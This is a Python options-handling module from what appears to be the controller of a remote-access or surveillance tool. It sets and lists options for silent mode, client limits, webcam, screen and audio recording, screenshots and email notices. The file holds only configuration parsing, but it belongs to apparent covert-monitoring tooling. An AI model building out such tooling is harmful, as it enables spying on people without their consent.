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from domestic.parse.error_exception_handling import *
from domestic.utility.validate_dict_key import *
from domestic.utility.status_message import *
from domestic.global_state import *
options_list = (
(
'mode/safe',
'mode/silent',
'validation/duplicates',
'validation/max-clients',
'information-gathering/history',
'information-gathering/whoami',
'information-gathering/record/stream',
'information-gathering/record/cam-stream',
'information-gathering/record/audio',
'information-gathering/record/talk',
'information-gathering/save/screenshot',
'information-gathering/save/cam-screenshot',
'information-gathering/backup/text',
'information-gathering/backup/image',
'notice/email-notice',
'notice/email-data/email',
'notice/email-data/password',
'notice/email-data/to'
),
(
'bool',
'bool',
'bool',
'int',
'bool',
'bool',
'bool',
'bool',
'bool',
'bool',
'bool',
'bool',
'bool',
'bool',
'bool',
'str',
'str',
'str'
)
)
@error_exception_handling
def options(message):
key = validate_dict_key(message, 'key')
value = validate_dict_key(message, 'value')
available = validate_dict_key(message, 'available')
if key and value:
key_list = key.split('/')
key_len = len(key_list)
assert key in options_list[0]
value = validate_option(value, options_list[1][options_list[0].index(key)])
if key_len == 2:
state['options'][key_list[0]][key_list[1]] = value
elif key_len == 3:
state['options'][key_list[0]][key_list[1]][key_list[2]] = value
elif key_len == 4:
state['options'][key_list[0]][key_list[1]][key_list[2]][key_list[3]] = value
else:
raise Exception('Key length is invalid')
status_message(f'Option: {key} is now set to {value}', 'success')
elif available:
options = state['options']
categories = ['mode', 'validation', 'information-gathering', 'notice']
for categorie in categories:
option_category = options[categorie]
status_message(f'{categorie.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'})
for key, value in option_category.items():
if 'dict' in str(type(value)):
status_message(f'- {key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'})
for key_2, value_2 in value.items():
status_message(f' - {key_2.capitalize()}: {value_2}', 'pure', {'end': True})
else:
status_message(f' - {key.capitalize()}: {value}', 'pure', {'end': True})
print()
status_message(None, 'program')
else:
raise Exception('Error message')
def validate_option(value, value_type):
if value == 'true':
value = True
elif value == 'false':
value = False
elif value == 'none':
if 'str' == value_type:
value = None
elif value.isdigit():
value = int(value)
value_type_calc = str(type(value))
if 'str' in value_type_calc:
assert len(value) < 128
elif 'int' in value_type_calc:
assert value < 10000
assert value_type in value_type_calc or value is None
return value
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